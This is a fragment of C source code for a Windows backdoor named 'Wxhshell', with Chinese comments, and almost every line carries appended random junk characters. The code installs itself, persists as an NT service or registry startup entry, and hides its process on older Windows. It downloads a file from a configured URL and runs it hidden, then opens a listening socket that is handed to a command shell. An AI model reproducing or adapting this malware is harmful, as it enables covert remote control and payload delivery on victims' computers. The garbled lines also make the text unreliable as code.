ULONG UniqueProcessId; T(4d5 fY
ULONG InheritedFromUniqueProcessId; @fL ^I&++
} PROCESS_BASIC_INFORMATION; ^NW[)Dq1<
W?
iA P
PROCNTQSIP NtQueryInformationProcess; W.7rHa
gg;r;3u
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I$n=>s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jcH@*c=%e
8sG3<$Z^
HANDLE hProcess; ;t`
?|
PROCESS_BASIC_INFORMATION pbi; #x%'U}sF
v0^9"V:y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N0U/u'J!g
if(NULL == hInst ) return 0; Pf?kNJ*Tv)
l.[pnL D
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }2A6W%^>]
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 15$xa_w}L
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gn]36~)*H
TQ
Vk;&A
if (!NtQueryInformationProcess) return 0; _B4&Fb.
X>%nzY]m
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~,'{\jDrS
if(!hProcess) return 0; 8OfQ :
(z?HyxRT
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N!A20Bv
x^f<G
6z
CloseHandle(hProcess); FoefBo?g65
L\yVE
J9x
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o3ZN0j69|
if(hProcess==NULL) return 0; \?:L>-&h8
GnV0~?
HMODULE hMod; NOz3_k
char procName[255]; XGlt^<`
unsigned long cbNeeded; Ur j*V0^
@WJ;T= L
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x"W~m.y$h
Ku;fZN[g
CloseHandle(hProcess); -"(*'hD
I8*VM3
if(strstr(procName,"services")) return 1; // 以服务启动 wI#8|,]"z
urp|@WZ
return 0; // 注册表启动 jA? #!lx_
} \lL[08G
y48]|%73
// 主模块 Jx*cq;`Vee
int StartWxhshell(LPSTR lpCmdLine) owVvbC2<b(
{ J )1
SOCKET wsl; D6SUzI1+H
BOOL val=TRUE; E}^V@ :j>
int port=0; dQut8>0&
struct sockaddr_in door; I-v}
DuM
%cNN<x8
if(wscfg.ws_autoins) Install(); #J5BHY~
<H[w0Z$
port=atoi(lpCmdLine); yUoR6w
n}p G&&;q
if(port<=0) port=wscfg.ws_port; =4ygbk
9t! d.}
WSADATA data; N#w5}It
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6iFlz9XiI
d[9,J?'OQ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G,8mFH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); , 3R=8
door.sin_family = AF_INET; .j6udiv5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0AZ9I!&i
door.sin_port = htons(port); KbJ6U75|f
xBHf~:!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LUbhTc
closesocket(wsl); glAS$<
return 1; .[={Yx0!I
} 0
_!0\d#c
$e^"Inhtqp
if(listen(wsl,2) == INVALID_SOCKET) { ]aN9mT
N
closesocket(wsl); O[X*F2LC4
return 1; EPo)7<|>
} ;H$Cq'
I
Wxhshell(wsl); 7uBx
WSACleanup(); {R$`YWk
"2e3 <:$
return 0; #1YMpL
|N,^*xP(6
} f/\!=sa:
g%2G=gR$?z
// 以NT服务方式启动 &oL"AJU
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gx\V)8Zr
{ 0%xk tf
DWORD status = 0; j/V_h'}
DWORD specificError = 0xfffffff; a%q,P @8
&BVUK"}P
serviceStatus.dwServiceType = SERVICE_WIN32;
K^{j$
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^!['\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O:]']' /
serviceStatus.dwWin32ExitCode = 0; EeaJUK]z9
serviceStatus.dwServiceSpecificExitCode = 0; +o+f\!
serviceStatus.dwCheckPoint = 0; l&& i`
serviceStatus.dwWaitHint = 0; OPvPP>0*8
kV-<[5AWW
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Wtw0)4
if (hServiceStatusHandle==0) return; sbvP1|P8%
LcKc#)'EE
status = GetLastError(); 5{H)r
if (status!=NO_ERROR) y)r`<B
{ gD$&OkH
serviceStatus.dwCurrentState = SERVICE_STOPPED; pbzt8 P[
serviceStatus.dwCheckPoint = 0; AB=%yM7V*
serviceStatus.dwWaitHint = 0; GzEw~JAs
serviceStatus.dwWin32ExitCode = status; ~XUUrg;
serviceStatus.dwServiceSpecificExitCode = specificError; besc7!S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 33`bKKO}
return; a-*sm~u
} >A )Sl'
"t2T*'j{
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5a |[cR
serviceStatus.dwCheckPoint = 0;
Zl_sbIY
serviceStatus.dwWaitHint = 0; df{?E):
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O!PGZuF
} lB}?ey
c[J 2;"SP
// 处理NT服务事件,比如:启动、停止 f y|JE9Io_
VOID WINAPI NTServiceHandler(DWORD fdwControl) CfOyHhhKX
{ TJ)Nr*U3_
switch(fdwControl) QXI~Toddj
{ 7Kym|Zg
case SERVICE_CONTROL_STOP: hGFi|9/-u
serviceStatus.dwWin32ExitCode = 0; -cUW,>E
serviceStatus.dwCurrentState = SERVICE_STOPPED; W3l[a^1d
serviceStatus.dwCheckPoint = 0; \Vv)(/q {
serviceStatus.dwWaitHint = 0; do`'K3a"
{ ~vP_c(8f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); padV|hF3(e
} .0nT*LF
return; x~'_;>]r_
case SERVICE_CONTROL_PAUSE: +4J'> dr
serviceStatus.dwCurrentState = SERVICE_PAUSED; DN9x<%/-
break; A?tCa*b^
case SERVICE_CONTROL_CONTINUE: '+_-r'2
serviceStatus.dwCurrentState = SERVICE_RUNNING; =$}`B{(H
break; 02 FLe*zQ
case SERVICE_CONTROL_INTERROGATE: :Gz$(!j1.'
break; F_u?.6e]
}; lBn<\Y!^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E;yr46
} Ym%#"
)1 @v<I
// 标准应用程序主函数 x~l"'qsK
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [3irr0D7l
{ H/f}tw
~+6#4<M.~
// 获取操作系统版本 R||$Wi[$
OsIsNt=GetOsVer(); 'Q'-7z-6
GetModuleFileName(NULL,ExeFile,MAX_PATH); **AJFc
qPN
// 从命令行安装 ;8F6a:\v
if(strpbrk(lpCmdLine,"iI")) Install(); &xj40IZ
a"+VP>4
// 下载执行文件 bq7()ocA
if(wscfg.ws_downexe) { |/-# N
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C _W]3
WinExec(wscfg.ws_filenam,SW_HIDE); uPFbKSJj
} 4P2p|Gc3
EZ Q!~
if(!OsIsNt) { PzjIM!>
// 如果时win9x,隐藏进程并且设置为注册表启动 Nf~B 1vkp
HideProc(); TR?jT
U
StartWxhshell(lpCmdLine); }k1[Fc|
} #.j:P#
else { F0"U=
if(StartFromService()) Yk4ah$}%-^
// 以服务方式启动 +SRM?av
StartServiceCtrlDispatcher(DispatchTable); p8y<:8I
else X bV?=
// 普通方式启动 g2lv4Tiq-
StartWxhshell(lpCmdLine); ZDrTPnA[
[o'}R`5)
return 0; a
8jG')zg
}